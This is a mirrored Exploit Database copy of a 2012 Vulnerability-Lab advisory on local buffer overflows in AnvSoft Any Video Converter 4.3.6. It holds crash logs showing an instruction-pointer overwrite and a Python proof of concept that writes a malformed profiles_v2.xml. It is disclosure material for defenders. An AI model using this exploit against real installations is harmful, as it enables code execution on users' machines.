AnvSoft Any Video Converter 4.3.6 – Multiple Buffer Overflows

• Exploit Database
• 105 阅读

• 作者： Vulnerability-Lab
  日期： 2012-04-08
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18717/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407

  Title: ====== AnvSoft Any Video Converter 4.3.6 - Multiple Buffer Overflow     Date: ===== 2012-04-08     References: =========== http://www.vulnerability-lab.com/get_content.php?id=492     VL-ID: ===== 492     Introduction: ============= An all-in-one user-friendly DVD ripper, Video Record, video converter, YouTube Downloader, video editor and DVD burner, which helps you rip DVD and record/convert video for multimedia devices, like iPhone 4, iPad, iPod, Google Android, PSP, Nokia, Samsung Galaxy with lossless quality.   Features Support conversion on all DVD variations, input formats and output formats, such as AVI, MP4, MPEG, MOV, WMV, 3GP, MKV, FLV, RMVB, WebM, MP3 etc. More... Record video and capture desktop activities. Screencast anything you see on screen. Support video conversion to iPhone, iPad, iPod, Apple TV, ePad, Samsung Galaxy S II, Amazon Kindle Fire etc.   All other mobile devices: PS3, Blackberry, Xbox 360, Zune, Motorola Droid, etc. More... Download and convert YouTube and other online videos for portable devices. Burn videos to CD/DVD/Blu-ray disc with DVD customized menu. Convert 6 times faster with NVIDIA CUDA acceleration technology. More... Edit video: add subtitles, merge, clip, crop video and apply special effects.   (Copy of the Vendor Homepage: http://www.any-video-converter.com )     Abstract: ========= A Vulnerability Laboratory Researcher discovered multiple Local Buffer Overflow vulnerabilities on AnvSoft Any Video Converter Free / Pro / Ultimate v4.3.6     Report-Timeline: ================ 2012-04-08: Public or Non-Public Disclosure     Status: ======== Published     Affected Products: ================== AnvSoft Product: Any Video Converter v4.3.6 Free|Pro|Ultimate     Exploitation-Technique: ======================= Local     Severity: ========= Critical     Details: ======== Mulitple Buffer Overflow vulnerabilities are detected on AnvSoft Any Video Converter Free / Pro / Ultimate v4.3.6 (current version). The vulnerabilities are located in the main executeable <code>AVCUltimate.exe</code>.   1. When launching<code>AVCUltimate.exe</code>, it automatically reads the contents of the <code>profiles_v2.xml</code> from the application directory. The application does not validate the string length of different xml-fields before passing the content to a buffer, which could lead to a local buffer overflow. Nearly every item in the <code>profiles_v2.xml</code> is vulnerable. As an example:   <category name=<code></code>[vuln]<code></code> id=<code></code>0<code></code> icon=<code></code>[vuln]<code></code> desc=<code></code>[vuln]<code></code>/> <group name=<code></code>[vuln]<code></code> icon=<code></code>[vuln]<code></code> desc=<code></code>[vuln]<code></code> in_category=<code></code> all, [vuln]<code></code>/> <profile name=<code></code>[vuln]<code></code>>   --- Debug Logs --- #Disassembly: 7C9132A6 FFD1 CALL ECX 7C9132A8 64:8B25 00000000 MOV ESP,DWORD PTR FS:[0] 7C9132AF 64:8F05 00000000 POP DWORD PTR FS:[0] 7C9132B6 8BE5 MOV ESP,EBP 7C9132B8 5D POP EBP 7C9132B9 C2 1400RETN 14 7C9132BC 8B4C24 04MOV ECX,DWORD PTR SS:[ESP+4] 7C9132C0 F741 04 06000000 TEST DWORD PTR DS:[ECX+4],6 7C9132C7 B8 01000000MOV EAX,1 7C9132CC 75 12JNZ SHORT ntdll.7C9132E0 7C9132CE 8B4C24 08MOV ECX,DWORD PTR SS:[ESP+8] 7C9132D2 8B5424 10MOV EDX,DWORD PTR SS:[ESP+10] 7C9132D6 8B41 08MOV EAX,DWORD PTR DS:[ECX+8] 7C9132D9 8902 MOV DWORD PTR DS:[EDX],EAX 7C9132DB B8 02000000MOV EAX,2 7C9132E0 C2 1000RETN 10     #Registers: EAX 00000000 ECX 42424242 EDX 7C9132BC ntdll.7C9132BC EBX 00000000 ESP 00125608 EBP 00125628 ESI 00000000 EDI 00000000 EIP 42424242     #Dump: 00125EB441 41 41 41 41 41 41 41AAAAAAAA 00125EBC41 41 41 41 41 41 41 41AAAAAAAA 00125EC441 41 41 41 41 41 41 41AAAAAAAA 00125ECC41 41 41 41 42 42 42 42AAAABBBB 00125ED443 43 43 43 43 43 43 43CCCCCCCC 00125EDC43 43 43 43 43 43 43 43CCCCCCCC 00125EE443 43 43 43 43 43 43 43CCCCCCCC     #Stack: 00125608 7C9132A8RETURN to ntdll.7C9132A8 0012560C 001256F0 00125610 00125ECCASCII AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 00125614 0012570C 00125618 001256C4 0012561C 00125ECCPointer to next SEH record 00125620 7C9132BCSE handler 00125624 00125ECCASCII AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 00125628/001256D8 0012562C|7C91327ARETURN to ntdll.7C91327A from ntdll.7C913282 00125630|001256F0 00125634|00125ECCASCII AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 00125638|0012570C 0012563C|001256C4 00125640|42424242     Picture(s): ../1.png       2. During the start of the application the value <code>OutputFolder</code> from the registry key [HKEY_CURRENT_USER/Software/AnvSoft/Any Video Converter Ultimate/Setting/Output] is read. The application does not validate the string length of the registry value before passing the content to a buffer, which could lead to a unicode-based local buffer overflow.   Invalid parameter passed to C runtime function. Invalid parameter passed to C runtime function.   (13f8.1620): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000041 ebx=035f8392 ecx=02ed0000 edx=035f799c esi=02ecf564 edi=02ecf128 eip=7701bcac esp=02ecf070 ebp=02ecf08c iopl=0 nv up ei pl nz ac pe cy cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00010217 *** ERROR: Symbol file could not be found.Defaulted to export symbols for C://Windows/syswow64/msvcrt.dll - msvcrt!vsnwprintf_l+0xbc: 7701bcac 668901mov word ptr [ecx],axds:002b:02ed0000=????     02ecfde0: /AnvSoft/Any Video Converter/VideoConverter.exe - VideoConverter+10041 (00410041) Invalid exception stack at 00410041     EXCEPTION_PARAMETER1:00000001 EXCEPTION_PARAMETER2:02ed0000 WRITE_ADDRESS:02ed0000     02ecf6b4 00200066 006f0076 006e006c 0072006f 0x61002d 02ecf6b8 006f0076 006e006c 0072006f 0020006d 0x200066 02ecf6bc 006e006c 0072006f 0020006d 00410041 0x6f0076 02ecf6c0 0072006f 0020006d 00410041 00410041 0x6e006c 02ecf6c4 0020006d 00410041 00410041 00410041 0x72006f 02ecf6c8 00410041 00410041 00410041 00410041 0x20006d 02ecf6cc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6d0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6d4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6d8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6dc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6e0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6e4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6e8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6ec 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6f0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6f4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6f8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf6fc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf700 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf704 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf708 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf70c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf710 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf714 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf718 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf71c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf720 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf724 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf728 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf72c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf730 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf734 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf738 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf73c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf740 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf744 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf748 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf74c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf750 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf754 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf758 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf75c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf760 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf764 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf768 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf76c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf770 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf774 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf778 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf77c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf780 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf784 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf788 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf78c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf790 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf794 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf798 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf79c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7a0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7a4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7a8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7ac 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7b0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7b4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7b8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7bc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7c0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7c4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7c8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7cc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7d0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7d4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7d8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7dc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7e0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7e4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7e8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7ec 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7f0 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7f4 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7f8 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf7fc 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf800 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf804 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf808 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf80c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf810 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf814 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf818 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf81c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf820 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf824 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf828 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf82c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf830 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf834 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf838 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf83c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf840 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf844 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf848 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf84c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf850 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf854 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf858 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf85c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf860 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf864 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf868 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf86c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf870 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf874 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf878 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf87c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf880 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf884 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf888 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf88c 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf890 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf894 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf898 00410041 00410041 00410041 00410041 VideoConverter+0x10041 02ecf89c 00410041 00410041 00410041 00410041 VideoConverter+0x       msvcrt!vsnwprintf_l+0xbc: 7701bcac 668901mov word ptr [ecx],ax 7701bcaf 830602add dword ptr [esi],2 7701bcb2 8b4dfcmov ecx,dword ptr [ebp-4] 7701bcb5 5fpop edi 7701bcb6 5epop esi 7701bcb7 33cdxor ecx,ebp 7701bcb9 5bpop ebx 7701bcba e86adbffffcallmsvcrt!memset+0x99 (77019829)     .exr 0xffffffffffffffff ExceptionAddress: 7701bcac (msvcrt!vsnwprintf_l+0x000000bc) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 02ed0000     Picture(s): ../2.png ../3.png     Proof of Concept: ================= The locla buffer overflow vulnerabilities can be exploited by local attackers or restricted low privileged system accounts. For demonstration or reproduce ...   #!/usr/bin/python # Exploit Title: AnvSoft Any Video Converter Free/Pro/Ultimate v4.3.6 Local Buffer Overflow # Version: 4.3.6 # Software Link: http://www.any-video-converter.com # Notes: Nearly all items in profiles_v2.xml are vulnerable # Howto: Copy profiles_v2.xml to App-Dir --> Launch   file="profiles_v2.xml"   junk1="\x41" * 332 boom="\x42\x42\x42\x42" junk2="\x43" * 100   poc="<root>\n" poc=poc + "<categories>\n" poc=poc + "<category name=\"" + junk1 + boom + junk2 + "\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n" poc=poc + "</categories>\n" poc=poc + "<groups></groups>\n<profiles></profiles>\n</root>\n"   try: print "[*] Creating exploit file...\n" writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!" except: print "[!] Error while creating file!"         Risk: ===== The security risk of both local buffer oveflow vulnerabilities are estimated as critical.     Credits: ======== Vulnerability Research Laboratory Team - Benjamin Kunz Mejri (Rem0ve) [www.vulnerability-lab.com] Vulnerability Research Laboratory Team - Julien Ahrens (MrTuxracer) [www.inshell.net]       Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability- Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab or its suppliers.   Copyright � 2012|Vulnerability-Lab         -- VULNERABILITY RESEARCH LABORATORY TEAM Website: www.vulnerability-lab.com Mail: research@vulnerability-lab.com